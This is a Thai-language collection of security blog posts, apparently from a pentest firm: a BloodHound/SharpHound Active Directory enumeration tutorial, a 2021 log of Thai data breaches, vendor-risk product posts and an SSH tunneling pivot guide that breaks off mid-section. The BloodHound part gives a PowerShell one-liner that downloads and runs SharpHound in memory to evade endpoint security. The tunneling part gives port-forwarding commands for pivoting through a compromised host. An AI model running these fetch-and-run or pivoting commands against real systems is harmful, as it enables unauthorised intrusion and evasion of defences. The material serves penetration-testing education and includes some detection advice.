BloodHound ถูกพัฒนาโดย Windows Security Expert 3 คนได้แก่ @\_wald0, @CptJesus, and @harmj0y. (ถ้าใครทำงานด้าน Windows Security แล้วไม่รู้จักหรือไม่คุ้น 3 ท่านนี้ ผู้เขียนขอแนะนำให้ไป follow พวกเขาเลยนะครับ) สำหรับ concept ของ BloodHound มีการใช้ Graph Theory มาแสดงผลข้อมูลที่ queryได้จาก Domain Controller และหนึ่งใน quote สุดคมคายซึ่งเป็น main idea ของ BloodHound ก็คือ "Attackers think in Graphs, Defenders think in lists. As long as this is true, Attackers win"
Set up
ต้องติดตั้ง neo4j สำหรับทำ Database Management ให้กับ BloodHound ก่อน จากนั้นค่อยติดตั้ง BloodHound GUI เมื่อติดตั้งแล้วเสร็จให้ไปเก็บข้อมูลจาก Domain Environment นั้น ๆ ด้วย SharpHound ซึ่งจะทำการเก็บข้อมูลดังนี้ (\*BloodHound ทำ analysis แต่ SharpHound ไว้ collect)
- Security group memberships
- Domain trusts
- Permission ของ Active Directory objects
- Group Policy links
- OU tree structure
- Properties ของ computer, group และ user objects
- SQL admin links
- ข้อมูล account ของ local administrators, remote desktop, distributed COM, และ remote management groups และที่สำคัญคือ Active sessions ของ users ต่าง ๆ ตามเครื่อง Computer ที่ join อยู่ใน domain ซึ่งจะเป็นข้อมูลสำคัญที่เอาไว้ตามล่า domain admins
หลังจาก collect ข้อมูลแล้วเสร็จก็จะ import เข้า BloodHound เพื่อ query หาข้อมูล relationship ต่าง ๆ ที่จะเป็นประโยชน์ในการหา attack path ยึด Domain Admins หรือเครื่อง Server สำคัญขององค์กรต่อได้ สำหรับวิธีการติดตั้งให้ดูจาก offical BloodHound Document ที่ {rel=""nofollow""} โดยให้ทำตามขั้นตอน step by step ได้เลย
Attack Method
Prerequisite ของการใช้ SharpHound (tool สำหรับ collectข้อมูลไปให้ BloodHound) คือ
1. การมี valid domain user account ในมือ
2. ถ้าไป run บนเครื่องใน domain ต้องระวังเรื่อง endpoint security ด้วย
คราวนี้มาลองดูวิธีใช้งานกัน
## 1. ให้ run tool SharpHound บนเครื่อง joined-domain Windows โดยไป download จาก
{rel=""nofollow""} (จะใช้ precompiled binary หรือ PowerShell ก็แล้วแต่ความถนัดได้เลย)
```bash
#SharpHound.exe — CollectionMethod All -d demodomain.local
— — — — — — — — — — — — — — — — — — — — — — -
Initializing SharpHound at 22:40> — — — — — — — — — — — — — — — — — — — — — — -Resolved Collection Methods: Group, Sessions, LoggedOn, Trusts, ACL, ObjectProps, LocalGroups, SPNTargets, Container[+] Creating Schema map for domain DEMODOMAIN.LOCAL using path CN=Schema,CN=Configuration,DC=DEMODOMAIN,DC=LOCAL
[+] Cache File not Found: 0 Objects in cache[+] Pre-populating Domain Controller SIDS
Status: 0 objects finished (+0) — Using 23 MB RAM
Status: 877 objects finished (+877 35.9)/s — Using 54 MB RAM
Status: 1320 objects finished (+241 22)/s — Using 54 MB RAM
Status: 1535 objects finished (+215 17.05556)/s — Using 55 MB RAM
Status: 1536 objects finished (+1 16.51613)/s — Using 55 MB RAM
Enumeration finished in 00:01:33.8418442
Compressing data to .\256305281xxxxx_BloodHound.zip
You can upload this file directly to the UISharpHound Enumeration Completed at 22:50 on 28/5/2563! Happy Graphing!
```
หากเลือกใช้ PowerShell เพื่อหลีกเลี่ยง ExecutionPolicy และ Endpoint Security ก็ให้ run ใน memory ด้วยคำสั่ง
```bash
powershell -command "IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/Blo
odHoundAD/BloodHound/master/Ingestors/SharpHound.ps1'); Invoke-
BloodHound -CollectionMethod All";
```
2\. จากนั้นให้ start service ของ neo4j
```bash
#systemctl start neo4j
#neo4j console
```
และ start BloodHoundGUI โดยให้ไปที่ directory ที่ติดตั้งBloodHoundGUI
```bash
#BloodHound
```
หากมี message ปัญหาเรื่อง sandbox ให้เติม option — no-sandbox ไปด้วย
3. ลากข้อมูล collection ที่เป็น zip file ไปใส่ใน BloodHoundGUI เพื่อเริ่มวิเคราะห์ โดย click เลือก query ที่สนใจ

เช่น Find Shortest Paths to Domain Admins จากภาพก็จะแสดงผลออกมาให้ดูว่าจะมี object อะไรที่เกี่ยวข้องกับ session ที่จะเข้าถึง Domain Admins ได้บ้าง

ภาพจาก twitter ของ Andrew Robbins หนึ่งในผู้พัฒนา BloodHound {rel=""nofollow""}
ส่วนวิธีการใช้ query เพื่อทำ analysis แบบพื้นฐานทั่วไปอื่น ๆ แนะนำให้ดูได้จาก {rel=""nofollow""}
## Mitigation
การจะป้องกัน BloodHound ในมุมมองของผู้เขียนคือทำได้ยาก ลองดู

วิธีการที่ทำได้คือ monitor
- การ query ด้วย TCP port 389(LDAP) และ TCP port 636 (LDAPS) ที่ overwhelm — เยอะผิดปกติจากเครื่องใดเครื่องหนึ่งภายในเครือข่าย แต่ความเห็นส่วนตัวคือค่อนข้างจะ monitor ยากหากไม่มีข้อมูล baseline เปรียบเทียบ
- monitor EventID 5145 จากบทความ "Detecting BloodHound/Sharphound Tool — Threat Hunting" — {rel=""nofollow""}
Reference
1. ยังไม่มีคู่มือ BloodHound เชิงลึกใดหรือละเอียดมากไปกว่าเล่มนี้ {rel=""nofollow""} นี้ น่าเกรงขามจริง ๆ สำหรับเนื้อหาที่ทำโดยทีม ERNW ซึ่งเป็นหัวหอกในการจัดงาน TROOPERS ใน Germany
2. Tools หรือ Project ที่พัฒนาต่อยอดจาก BloodHound สามารถดูได้จาก {rel=""nofollow""}
3. สำหรับการ run คำสั่ง SharpHound ผู้อ่านอาจจะอยากรู้ว่ามีวิธีการใดบ้างในการ download tool ด้วย native command ของ Windows (Living off the land) ให้ลองดูวิธีการใช้ certutil และ bitsadmin command ได้จาก {rel=""nofollow""}
4. มี webinar คุยเรื่องการ detect การใช้ BloodHound ชื่อหัวข้อ A Methodical Approach for Detecting BloodHound โดย SpecterOps สามารถดูรายละเอียดได้ที่ {rel=""nofollow""}
# ICL LogBook 2021
::logbook
#date
05 Sep 2021
#title
โรงพยาบาลเพชรบูรณ์
#description
ได้รับรายงานการประกาศขายข้อมูลของโรงพยาบาลเพชรบูรณ์ในอินเทอร์เน็ต ขนาด 3.75 GB จำนวน 16 ล้าน records จากฐานข้อมูล จำนวน 146 ฐานข้อมูล ในราคา 500 เหรียญสหรัฐอเมริกา โดยข้อมูลที่ถูกนำมาประกาศขาย ได้แก่ ชื่อผู้ที่มารับบริการที่โรงพยาบาล, เลขประจำตัวผู้ป่วย, วัน เวลาที่มารับบริการ, แพทย์ผู้ดูแล และตารางเวรแพทย์
#link
::
::logbook
#date
06 Sep 2021
#title
ร้านซีพี เฟรชมาร์ท
#description
ผ่านมาถูกโจมตีด้านความปลอดภัยทางไซเบอร์ ข้อมูลที่ถูกนำมาประกาศขายเป็นข้อมูลส่วนบุคคลได้แก่ ชื่อ นามสกุล, username, password, e-mail, เบอร์โทรศัพท์, วัน เดือน ปีเกิด, เลขบัตรประจำตัวประชาชน และที่อยู่ โดยข้อมูลที่ถูกนำออกมาขายคาดว่ามีเกือบ 6 แสนราย
#link
::
::logbook
#date
07 Sep 2021
#title
กองบัญชาการกองทัพไทย
#description
ผู้ไม่ประสงค์ดีออกมาเผยแพร่ข้อมูลที่ขโมยออกมาจากเว็บไซต์ภายใต้กองบัญชาการกองทัพไทย ซึ่งข้อมูลที่รั่วไหลออกมานั้นรวมถึง username, password
#link
::
::logbook
#date
08 Sep 2021
#title
FortiOS Hack by Groove
#description
กลุ่ม Hacker ที่ชื่อว่า Groove ได้ทำการปล่อย Username, Password ของอุปกรณ์ Fortinet ประมาณ 500,000 accounts โดยคาดว่าการโจมตีนี้อาศัยช่องโหว่ CVE-2018-13379 Path Traversal บน FortiOS ซึ่งเป็นช่องโหว่ที่ถูกเผยแพร่ตั้งแต่ปี 2018 จากการตรวจสอบข้อมูลเบื้องต้นพบว่าในไฟล์ที่มีการปล่อยข้อมูลออกมานั้นมีการแบ่ง Folder ตามแต่ละประเทศให้เรียบร้อย แต่ละไฟล์ใน Folder จะบอกถึง IP Address และ Username, Password ของอุปกรณ์ ซึ่งถ้าดูใน Folder ของไทยพบว่ามี 593 ไฟล์ unique credential มี 1923 accounts
#link
::
::logbook
#date
21 Aug 2021
#title
บริษัท จีเอเบิล จำกัด
#description
ถูกกลุ่ม BlackMatter โจมตีด้านความปลอดภัยทางไซเบอร์และเรียกค่าไถ่ข้อมูลสำคัญของบริษัท ซึ่งไฟล์ข้อมูลที่ถูกนำออกมามรขนาดไฟล์มากกว่า 100 GB ได้แก่ รายชื่อลูกค้า, สัญญาซื้อขาย, ข้อมูลฝ่ายบัญชี, ข้อมูลฝ่ายทรัพยากรบุคคล เป็นต้น
#link
::
::logbook
#date
23 Aug 2021
#title
Bangkok Airways ถูกโจมตีด้วย Lockbit Ransomware
#description
เมื่อวันที่ 23 สิงหาคม 2564 Bangkok Airways ถูกโจมตีด้านความปลอดภัยทางไซเบอร์ ซึ่งส่งผลให้มีการเข้าถึงระบบสารสนเทศ พบว่าอาจมีข้อมูลส่วนบุคคล อาทิ ชื่อ นามสกุล สัญชาติ เพศ หมายเลขโทรศัพท์ อีเมล ที่อยู่ ช่องทางการติดต่อสื่อสาร ข้อมูลหนังสือเดินทาง ประวัติการเดินทาง ข้อมูลบัตรเครดิตบางส่วน และข้อมูลอาหารพิเศษของผู้โดยสาร โดยจำนวนข้อมุลที่รั่วไหลออกมานั้นคาดว่ามีมากกว่า 200GB แล้วกลุ่ม Hacker ได้ Claim ว่าด้วยรหัสผ่านที่สามารถคาดเดาได้ง่าย (P\@ssw0rd) สามารถใช้เข้าถึงระบบที่สำคัญ และ Domain Admins
#link
{rel=""nofollow""}
::
# Black Kite ตอนที่ 1
วันนี้จะมาเล่าถึง Black Kite ซึ่ง Partner ที่ทาง Incognito Lab ด้วยตั้งแต่ปีที่แล้ว โดย Black Kite เป็น Solution ประเภท IT Vendor Risk Management (IT VRM) ซึ่ง Solution ประเภทนี้ก็มีหลายเจ้า [1] แต่หลังจากที่ทางเราได้ลองใช้งาน รวมถึงคุยกับ Partner แล้วเราก็สนใจที่จะใช้ Black Kite เป็นหลัก
IT VRM โดยหลัก ๆ แล้วใช้ในการประเมินความเสี่ยงของ Service Provider หรือ 3rd Party ต่าง ๆ ที่องค์กรเลือกใช้ หรือ สามารถใช้เพื่อประเมินองค์กรตนเองได้เช่นกัน นึกถึงกรณีที่เราเป็นองค์กรขนาดใหญ่มี Vendor หลายเจ้า เราจะทราบได้อย่างไรว่า Vendor เจ้าไหนมีการจัดการด้าน Cybersecurity เหมาะสมหรือไม่อย่างไร หรือ เราจะทราบได้อย่างไรว่าในมุมมองของบุคคลภายนอกนั้น เค้าจะมองว่าองค์กรเรานั้นมีการจัดการดัาน Cybersecurity ที่ดีหรือไม่
แล้วทำไม Vendor ถึงมีความสำคัญล่ะ? ในปัจจุบันการโจมตีอาจไม่ได้มีการโจมตีโดยตรงมาที่องค์กรเป้าหมายอย่างเดียวเท่านั้น เพราะปัจจุบันนี้องค์กรขนาดใหญ่มีการให้ความสำคัญด้าน Cybersecurity มากขึ้น มีการลงทุนมากขึ้น ทำให้การโจมตีก็ยากขึ้นตามไปด้วย ซึ่งในระยะหลังนี้หนึ่งในรูปแบบที่เรามักเจอสำหรับการโจมตีที่เกิดขึ้นกับองค์กรขนาดใหญ่มักเป็น Supply Chain Attack ยกตัวอย่าง Sunburst ที่เกิดขึ้นกับ SolarWinds หรือ กรณีของ Toyota ที่เกิดขึ้นเมื่อต้นปี 2022 [2]
ซึ่ง IT VRM Solution ทั้งหลายจะช่วยในการประเมินความเสี่ยงจากมุมมองของบุคคลภายนอก โดยเราใส่เพียงแค่ Domain หลักขององค์กรที่เราต้องการประเมิน จากนั้น ระบบจะทำการ Query Digital Asset ต่าง ๆ ขององค์กรขึ้นมาทำ Mapping กับความเสี่ยงที่มีและแสดงผลให้เราทราบถึงระดับความมั่นคงปลอดภัย (Security Rating) โดยขอย้ำอีกครั้งว่าเราไม่ต้องทำอะไรเลยนอกจากใส่ Domain หลักขององค์กรเท่านั้น
{width="100%"}
1. {rel=""nofollow""}
2. {rel=""nofollow""}
สุดท้ายของโพสต์นี้อยากบอกว่า ข้อดีของ Black Kite คือ มี Subscription ขั้นต่ำ 2 เดือน ทำให้สามารถทดลองใช้ได้ในราคาที่ไม่สูง และไม่มีข้อผูกมัดใด ๆ
---
หากท่านใดสนใจสามารถติดต่อสอบถามเพิ่มเติมได้ที่
[/blogs/black-kite-2](https://incognitolab.com/blogs/black-kite-2)
# Black Kite ตอนที่ 2
[/blogs/black-kite-1](https://incognitolab.com/blogs/black-kite-1)
จากโพสต์ก่อนเราเล่าถึงประโยชน์เบื้องต้นของ Solution ประเภท IT VRM ในโพสต์นี้จะขอลงรายละเอียดมากขึ้นเกี่ยวกับการทำงาน
Solution ประเภทนี้จะมาในรูปแบบของ SaaS ซึ่งเป็น Cloud-based Platform ซึ่งสาเหตุที่ไม่มี On Premise เพราะว่า Solution ประเภทนี้เปรียบเสมือนถังข้อมูลขนาดใหญ่ที่ทำการเก็บรวบ ๆ ข้อมูลต่าง ๆ จากการไปซื้อ Data Feed จากแหล่งต่าง ๆ หรือทำ Internet Scanning เอง (ลองนึกถึง [Shodan.io](http://shodan.io/){rel=""nofollow""} ครับที่มี Scanner กระจายอยู่ทั่วโลกและทำการ Scan ทุก ๆ IP Address บนโลกแล้วเก็บข้อมูลให้เราเข้าไป Query)
การมีข้อมูลขนาดใหญ่นี่แหละที่เป็นจุดสำคัญที่ทำให้เมื่อเวลาที่ User ใช้งานก็แค่ใส่ Domain ที่ต้องการตรวจสอบเข้าไประบบก็จะทำ Asset Discovery และทำการ Mapping ความเสี่ยงที่พบเข้ากับ Asset ขององค์กรและสรุปผลในภาพรวมออกมาเพื่อประเมินเป็นความเสี่ยง รวมถึงประเมินเป็นคะแนนขององค์กร (Security Rating)
ตอนที่ทำ Asset Discovery ทาง Black Kite จะค้นหา Domain ที่เกี่ยวข้อง, Sub-domain, IP Address ต่าง ๆ ที่องค์มีการใช้งานอยู่นั่นเอง จากนั้นก็จะแสดงผลออกเป็นคะนนให้เราดู
ซึ่งโดยทั่วไปแล้วการแสดงผลก็มักจะออกมาเป็นแกนเดียวก็คือด้าน Technical นั่นเอง แต่สำหรับ Black Kite นั้นจะแสดงผลออกมาเป็น 3 แกนหลัก ได้แก่ ด้าน Technical, Financial และ Compliance โดยแต่ละแกนจะสามารถช่วยให้ผู้ที่เกี่ยวข้องในองค์กรสามารถนำไปใช้ประโยชน์ได้ตามความเหมาะสม
{width="100%"}
ทั้งนี้การประเมินความเสี่ยง รวมถึงแนวทางการแสดงผลการให้คะแนนนั้นก็ขึ้นอยู่กับว่าแต่ละ Solution จะใช้อะไรเป็นเกณฑ์บ้าง (ซึ่งแน่นอนว่าแต่ละที่ก็จะบอกว่าของตัวเองดี มีมาตรฐาน)
{width="100%"}
---
หากท่านใดสนใจสามารถติดต่อสอบถามเพิ่มเติมได้ที่
[/blogs/black-kite-3](https://incognitolab.com/blogs/black-kite-3)
# Black Kite ตอนที่ 3
[/blogs/black-kite-2](https://incognitolab.com/blogs/black-kite-2)
คราวก่อนเราเล่าถึงภาพรวมของ IT VRM Solution และอธิบายการทำงานโดยภาพรวมแล้ว คราวนี้เดี๋ยวเราจะมาเจาะลึก Black Kite เพิ่มในส่วนของ Technical หรือที่เรียกว่า Technical Cyber Risk Score จาก 3 แกนหลักทั้งหมด ได้แก่ ด้าน Technical, Financial และ Compliance ครับ
ส่วนของ Technical Cyber Risk Score แบ่ง Category ออกเป็นทั้งหมด 20 Categories
โดยในส่วนนี้จะรวมเรื่องของการทำ Asset Discovery หรือการหา Digital Footprint ขององค์กรซึ่งในขั้นตอนนี้ถือเป็นหัวใจหลักของการทำงานทั้งหมดเลยทีเดียว เหมือนดั่งประโยคที่บอกว่า "You cannot protect what you don’t know" หรือแม้แต่ใน NIST CSF เองนั้น Function แรกที่เริ่มก็คือส่วนของ Identify
หลังจากที่เราใส่ Domain หลัก Black Kite จะเริ่มทำการหา Domain ที่เกี่ยวข้องกับ Domain หลัก โดยดูจากชื่อของผู้จดทะเบียน Domain ใน Whois record ถ้ามีการจดทะเบียนด้วย E-mail (Domain) หลักขององค์กร ก็จะมองว่า Domain นั้นมีความเกี่ยวข้องกับ Domain หลัก การ List ส่วนของ Sub-domain และ IP Address ต่าง ๆ ก็จะรวม Domain นี้ให้ด้วย
เอาแค่จุดนี้เองก็มีความสำคัญสูงมากแล้ว นึกถึง Use case เช่น องค์กรมี Domain [TEST.com](http://test.com/){rel=""nofollow""} และทางฝั่ง BU เองมีกำลังภายในสูงมี IT Vendor ภายนอกที่ใช้งานอยู่เป็นประจำ จัดซื้อบริการไม่ผ่าน IT ขององค์กร แล้วเกิดมีดำริว่าชั้นอยากได้ Domain ใหม่เพื่อมาใช้ทำ Campaign ที่จะ Launch เร็ว ๆ นี้ เช่น [TESTanywhere.com](http://testanywhere.com/){rel=""nofollow""} เป็นต้น การบริหารจัดการ Domain ในลักษณะนี้จะทำให้การจัดการ Domain ไม่ได้อยู่ในมือของฝั่ง IT ทั้งหมด เป็นไปได้ยากมากที่องค์กรจะรู้ว่าองค์กรเป็นเจ้าของ Domain อะไรอยู่บ้าง แต่!!! Black Kite สามารถ ช่วย List ออกมาให้คุณได้นะครับ
นี่เป็นเพียงแค่ 1 ใน Category ของ Technical Cyber Risk Score เท่านั้น ยังมีส่วนอื่นอีก เช่น Credential Management ซึ่งจะทำหน้าที่ไปค้นหาว่ามี Credential อะไรขององค์กรที่มีการรั่วไหล หรือ มีการซื้อขายกันใน Darkweb บ้าง โดย Output ของ Module นี้ก็จะบอกว่า Credential อะไรที่หลุดบ้าง หลุกจากไหน หลุดเมื่อไร รูปแบบที่หลุดออกมาเป็นอะไร เช่น Hash, Plaintext (แต่จะไม่มีบอกรายละเอียดของ Hash, Plaintext)
---
หากท่านใดสนใจสามารถติดต่อสอบถามเพิ่มเติมได้ที่
[/blogs/black-kite-ransomware-indicator](https://incognitolab.com/blogs/black-kite-ransomware-indicator)
# Way Back Techniques for Black-box Scenario
บทสนทนาของ Senior Pentester และ Pentester ระดับ rookie ผู้แสวงหาความรู้
> เวลาทดสอบเจาะระบบในรูปแบบ black-box หาก target ที่เรา focus อยู่เป็น web application และเราเจอแต่หน้า login จะทำอย่างไร?
มี 2 ทางเลือก
1. Authenticated approach คือการหา credential ด้วยรูปแบบต่าง ๆ แล้ว login เข้าไปใน application ให้ได้เช่นทำ OSINT, หาช่องโหว่จาก target อื่นที่ใกล้เคียง และเทคนิคอื่น ๆ แล้วแต่สถานการณ์
2. Unauthenticated approach หาช่องโหว่แบบไม่จำเป็นต้อง login วิธีนี้สามารถทำได้ด้วยการหา path, file, endpoint หรืออะไรก็แล้วแต่ที่ access ได้โดยไม่ต้อง authenticate กับ web application อาจจะต้องใช้คำความอดทนนิดนึง
> บางครั้งเราก็พบว่าเราเดาหรือหา path/endpoint ไม่ถูกแล้วจะทำอย่างไรต่อ?
1. ตั้งหลักและใจเย็น ๆ วิเคราะห์ request และ response อย่างละเอียด ดูว่ามีการ access หรือเรียกใช้อะไรบ้าง
2. ให่้ลองหาคู่มือ/manual ของ application มันอาจจะมีความลับซ่อนอยู่ (ถ้ามี)
3. หรือไปคุ้ย path/file/endpoint จาก wayback machine ซึ่งเราสามารถทำได้ง่ายขึ้นด้วย waybackurls; {rel=""nofollow""} หลังจากได้ output แล้วลองดูว่าในอดีตมี path/file/endpoint/key/token/session อะไรบ้างที่เราอาจจะ access ได้
{width="100%"}{width="100%"}
> ถ้ายังหาอะไรไม่ได้เลยล่ะ
ถ้าเจ้ามุ่งมั่นพอ จงหา 0-day
> แล้วถ้าหา 0-day ไม่ได้ล่ะ
แม้แต่วิชาเก้ากระบี่เดียวดายของต๊กโกวคิ้วป้ายผู้แสวงหาความพ่ายแพ้ ถูกสร้างขึ้นเพื่อเป็นเคล็ดวิชาที่ไม่แพ้ มันก็ไม่ได้รับประกันว่าจะชนะเสมอไป
{width="100%"}
# SSH Tunnel for Penetration Testing
## **Introduction**
หลาย ๆ คนน่าจะคุ้นเคยกับ Secure Shell (SSH) กันดี ว่าเป็น protocol ที่มีการเข้ารหัสซึ่งใช้ในการเชื่อมต่อไปยังเครื่องคอมพิวเตอร์ต่าง ๆ หรือแม้แต่ใช้งานในการเคลื่อนย้ายไฟล์ระหว่าง host แต่รู้หรือไม่ว่า SSH ยังสามารถที่จะทำสิ่งที่เรียกว่า "**SSH Tunnel**" ได้อีกด้วย
> FYI: ใน Windows 10 ตั้งแต่ Build 1089 เป็นต้นไป และ Windows Server 2019 หรือใหม่กว่า จะมี OpenSSH ถูกติดตั้งเอาไว้บนเครื่องอยู่แล้ว ไม่จำเป็นที่จะต้องทำการติดตั้งเพิ่มเติมแต่อย่างใด โดยสามารถเรียกใช้งานผ่าน Command Prompt (cmd) หรือ PowerShell ได้เลย
> อีกทางเลือกหนึ่งหาก Windows ไม่ได้มีการติดตั้ง OpenSSH เอาไว้ ก็สามารถใช้งาน OpenSSH Portable version แทนได้ ซึ่งเป็น version ที่สามารถเรียกใช้งานได้ทันทีโดยไม่จำเป็นต้องติดตั้งก่อนแต่อย่างใด โดยสามารถ download ได้ที่ {rel=""nofollow""}
การใช้งาน SSH สามารถใช้งานผ่านเครื่องมือต่าง ๆ ได้ เช่น [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html){rel=""nofollow""}, [plink](https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html){rel=""nofollow""} เป็นต้น ซึ่งโปรแกรมเหล่านี้มีการรองรับการใช้งาน SSH Tunnel เช่นเดียวกัน แต่ภายในบทความนี้จะเน้นไปที่การใช้งาน OpenSSH เป็นหลัก
ตัวอย่างการใช้งาน SSH Tunnel บน PuTTY และ plink
**PuTTY**:
- {rel=""nofollow""}
- {rel=""nofollow""}
**plink**:
- {rel=""nofollow""}
## What is SSH Tunneling
SSH Tunneling เป็นการสร้าง tunnel ขึ้นมาระหว่าง SSH client และ SSH server โดย tunnel นี้สามารถที่จะถูกใช้งานเพื่อส่งข้อมูลของ protocol อื่น ๆ ที่นอกเหนือจาก SSH protocol ได้ อีกทั้งข้อมูลที่ส่งผ่าน SSH Tunnel นี้จะถูกเข้ารหัสเอาไว้อีกด้วย
ประโยชน์ของการใช้งาน SSH Tunnel ขณะที่ทำ Penetration Testing หรือ Red Teaming จะช่วยให้เราเข้าถึงเครื่อง server ต่าง ๆ ที่อยู่ภายใน internal network ที่ไม่สามารถเข้าถึงได้โดยตรงจากเครื่องของเราเอง นอกจากนี้การทำ SSH Tunnel ยังไม่จำเป็นต้องใช้งาน scripts หรือติดตั้งเครื่องมืออื่น ๆ บนเครื่องเป้าหมายเพิ่มเติม เพราะส่วนใหญ่บนเครื่อง server มักจะมีการติดตั้ง OpenSSH เอาไว้อยู่แล้ว และยังเป็นการลดความเสี่ยงที่จะเกิดกิจกรรมที่ต้องสงสัยภายในระบบอีกด้วย เนื่องจาก SSH client เป็นโปรแกรมที่ผู้ดูแลระบบใช้งานกันทั่วไปอยู่แล้ว
### Scenario
ก่อนที่จะไปรู้จักกับการใช้งาน SSH Tunnel ในรูปแบบต่าง ๆ ทางผู้เขียนได้จัดทำตัวอย่างสถานการณ์ขึ้นมา ให้เห็นภาพการใช้งานได้มากยิ่งขึ้น
```shell
Pentester Machine: 175.16.1.20
incornetto.web:
# Public Interface: 99.100.3.211
# Private Interface: 10.50.20.4
incornetto.local network: 10.50.20.0/24
Engagement:
1) incornetto.web is an internet facing web site
2) incornetto.local network allows connection from incornetto.web
```
{width="100%"}
จากตัวอย่างด้านบนเราสามารถสังเกตเห็นได้ว่า Penetration Tester จะไม่สามารถเข้าถึง `incornetto.local` ได้โดยตรง มีเพียงเครื่อง `incornetto.web` เท่านั้นที่จะสามารถเข้าถึงได้ ดังนั้นผู้ทดสอบจะต้องโจมตีและยึดครองเครื่อง `incornetto.web` ให้ได้ก่อน
สมมติว่าเราสามารถโจมตีและยึดเครื่อง `incornetto.web` ได้และพบว่าภายในเครื่องได้ติดตั้ง SSH เอาไว้ เราสามารถที่จะสร้าง SSH Tunnel ขึ้นมาเพื่อส่งต่อ connection จากเครื่องของเราไปยัง `incornetto.local` network ได้ ซึ่งการใช้งาน SSH Tunnel สามารถแบ่งออกเป็น 3 ประเภท
### Local Port Forwarding
จะเป็นการเชื่อม service port ของเครื่องเป้าหมายกับ local port บนเครื่องของเรา โดยการจะทำการ bind service port การใช้งานในลักษณะนี้ได้นั้น ผู้ใช้งานจำเป็นที่จะต้องทราบว่าเครื่องเป้าหมายมีการเปิดใช้งาน service port ใดอยู่บ้าง
```shell
# Short form
ssh -fNTL :: john_doe@
# Long form
ssh -fNTL localhost::: john_doe@
```
**Example Command:**
{width="100%"}
จากตัวอย่างด้านบน หากเราพบว่าที่เครื่อง `10.50.20.253` มีการเปิดใช้งาน port TCP/8080 อยู่ (อาจจะพบจากการ scan port โดยใช้เครื่อง `incornetto.web` ) และหากเราต้องการเชื่อมต่อไปที่ port ดังกล่าวเราสามารถใช้คำสั่งดังต่อไปนี้เพื่อเป็นการสร้าง SSH Tunnel ขึ้นมาโดยใช้เครื่อง `incornetto.web` เป็นทางผ่านในการเชื่อมต่อได้
```shell
ssh -fNTL 8080:10.50.20.253:8080 hodor@incornetto.web
```
**Command breakdown:**
- options: `-f` หลังจากที่ยืนยันตัวตนเรียบร้อยแล้ว ให้ SSH client ทำงานเป็นเบื้องหลัง `-N` เป็นการระบุว่าให้ทำ port forwarding เพียงอย่างเดียว ไม่ต้องรันคำสั่งใด ๆ ที่เครื่อง remote server `-T` การปิดไม่ให้มี interaction กับ SSH client ใช้เพื่อเป็นการบอกให้ทำการเชื่อมต่อไปยังเครื่องเป้าหมายเท่านั้น ไม่จำเป็นที่จะต้องมีการ spawn terminal ขึ้นมาเพื่อรันคำสั่งต่าง ๆ `-L` เป็นการระบุว่าจะมีการใช้งาน Local Port Forwarding
- `ssh -fNTL 8080:10.50.20.253:8080`เป็นการระบุว่าหากมีการเชื่อมต่อเข้ามาที่ `localhost:8080` บนเครื่องของ Penetration Tester (172.16.1.20) connection ทั้งหมดจะถูกส่งต่อไปยัง `10.50.20.253` ผ่านทาง `incornetto.web` โดย SSH client จะทำงานอยู่ในเบื้องหลังและมีไว้สำหรับการทำ port forwarding เท่านั้น ไม่จำเป็นที่จะต้องรัน terminal ขึ้นมาใช้งาน
- `hodor@incornetto.web`เป็นการระบุ username ของ SSH ที่ใช้เชื่อมต่อไปยังเครื่อง remote server ในตัวอย่างนี้จะเป็นการเชื่อมต่อไปยัง incornetto.web
### Remote Port Forwarding
ในบางครั้งหากเราพบว่า firewall มีการกำหนดให้เราเข้าถึงแค่ port ที่กำหนดเอาไว้บนเครื่องที่เราสามารถยึดครองมาได้ เช่น allow connection แค่ TCP/443 ถ้าหากเราจะใช้งาน Local Port Forwarding จะค่อนข้างใช้งานลำบาก หากพบเหตุการณ์คล้าย ๆ แบบที่ว่าไป เราจะมีอีกวิธีการหนึ่งที่จะนำมาประยุกต์ใช้ซึ่งเรียกว่า Remote port forwarding โดยจะเป็นการเปิดใช้งาน SSH server ที่เครื่องของเราแทน และให้เครื่องที่ยึดครองได้ทำหน้าที่เป็น SSH client เพื่อ connect มายัง port ที่กำหนดไว้ของเครื่องเรา
```shell
ssh -fNTR :localhost: john_doe@
```
\*\*Additional Server Configuration
\*\*นอกจากที่เราจะสามารถใช้งาน Remote Port Forward ตามรูปแบบปกติได้แล้ว เรายังสามารถทำการตั้งค่าเพิ่มเติมให้กับ SSH server เพิ่มเติมได้ เพื่อใช้งานฟังก์ชันบางอย่างเพิ่มได้อีกด้วย ซึ่งปกติแล้วการเปิด listen port ที่ remote server นั้นจะเป็นการ listen ที่ loopback interface (127.0.0.1) ของเครื่อง remote server เพียงอย่างเดียวเท่านั้น ทำให้การที่จะ connect ไปยัง listen port นั้นจะต้องมาจากภายในเครื่องเท่านั้น หากต้องการให้คนอื่นสามารถ connect มาที่ port ที่เปิดขึ้นมาใหม่ได้ จำเป็นจะต้องไปแก้ไข sshd\_config ของ OpenSSH ดังนี้
```shell
# Linux: sshd_config located at /etc/ssh/sshd_config
# Windows: sshd_config located at %programdata%\ssh\sshd_config
GatewayPorts yes
```
ในบางครั้งเราอาจจะต้องการให้มีการเชื่อมต่อมาจาก IP address ที่กำหนดเอาไว้เท่านั้นถึงจะสามารถเข้าถึงข้อมูลต่าง ๆ ที่ remote port ได้ ซึ่งเราสามารถแก้ไข sshd\_config ของ OpenSSH โดยกำหนด IP address ที่เราต้องการได้เลย โดยการเพิ่ม configuration ต่อไปนี้
```shell
# Linux: sshd_config located at /etc/ssh/sshd_config
# Windows: sshd_config located at %programdata%\ssh\sshd_config
GatewayPorts clientspecified
```
อีกมุมมองหนึ่งที่อยากจะพูดถึงก็คือการกำหนดสิทธิการใช้งานของ user ที่ใช้ในการทำ SSH Tunnel หากมีการตั้งค่าสิทธิการใช้งานที่ไม่ดีพอบนเครื่อง SSH server ก็อาจจะส่งผลให้เครื่องดังกล่าวมีความเสี่ยงที่จะถูกโจมตีได้เช่นเดียวกัน หากมีการใช้งาน SSH Tunnel ก็ควรที่จะมีการกำหนดสิทธิการใช้งานของ user นั้น ๆ ให้ได้ทำได้แค่ SSH Tunnel เพียงอย่างเดียว โดยอ้างอิงหลักการของ Least Privilege เพื่อเป็นการลดความเสี่ยงที่จะเกิดขึ้นได้
สำหรับตัวอย่างในการลดความเสี่ยงคือการสร้าง user ขึ้นมาใหม่และกำหนดสิทธิไม่ให้มีการใช้งาน shell หรือใช้งานคำสั่งต่าง ๆ บนระบบได้
```shell
